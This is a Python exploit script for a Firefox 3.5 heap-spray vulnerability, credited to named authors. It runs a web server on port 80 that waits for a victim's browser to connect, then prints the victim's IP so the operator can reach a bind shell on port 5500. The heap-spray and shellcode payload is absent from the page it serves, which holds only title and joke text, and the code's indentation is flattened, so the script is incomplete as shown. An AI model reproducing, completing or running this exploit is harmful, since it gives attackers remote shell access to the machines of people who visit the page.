#!/usr/bin/env python
#######################################################
#
# FireFox 3.5 Heap Spray Exploit
# Originally discovered by: Simon Berry-Bryne
# Pythonized by: David Kennedy (ReL1K) @ SecureState
#
#######################################################
from BaseHTTPServer import HTTPServer
from BaseHTTPServer import BaseHTTPRequestHandler
import sys
class myRequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.printCustomHTTPResponse(200)
if self.path == "/":
target=self.client_address[0]
self.wfile.write("""
Firefox 3.5 Vulnerability
Firefox 3.5 Heap Spray Exploit
Discovered by: SBerry aka Simon Berry-Byrne
Pythonized: David Kennedy (ReL1K) at SecureState
Bind Shell Port: 5500
Encoding: Shikata_Ga_Nai
Ihazacrashihazacrash
Ohnoesihazacrashhazcrash
Aaaaahhhhh
""")
print ("\n\n[-] Exploit sent... [-]\n[-] Wait about 30 seconds and attempt to connect.[-]\n[-] Connect to IP Address: %s and port 5500 [-]" % (target))
def printCustomHTTPResponse(self, respcode):
self.send_response(respcode)
self.send_header("Content-type", "text/html")
self.send_header("Server", "myRequestHandler")
self.end_headers()
httpd = HTTPServer(('', 80), myRequestHandler)
print ("""
#######################################################
#
# FireFox 3.5 Heap Spray
# Originally discovered by: Simon Berry-Bryne
# Pythonized: David Kennedy (ReL1K) @ SecureState
#
#######################################################
""")
print ("Listening on port 80.")
print ("Have someone connect to you.")
print ("\nType -c to exit..")
try:
httpd.handle_request()
httpd.serve_forever()
except KeyboardInterrupt:
print ("\n\nExiting exploit...\n\n")
sys.exit(1)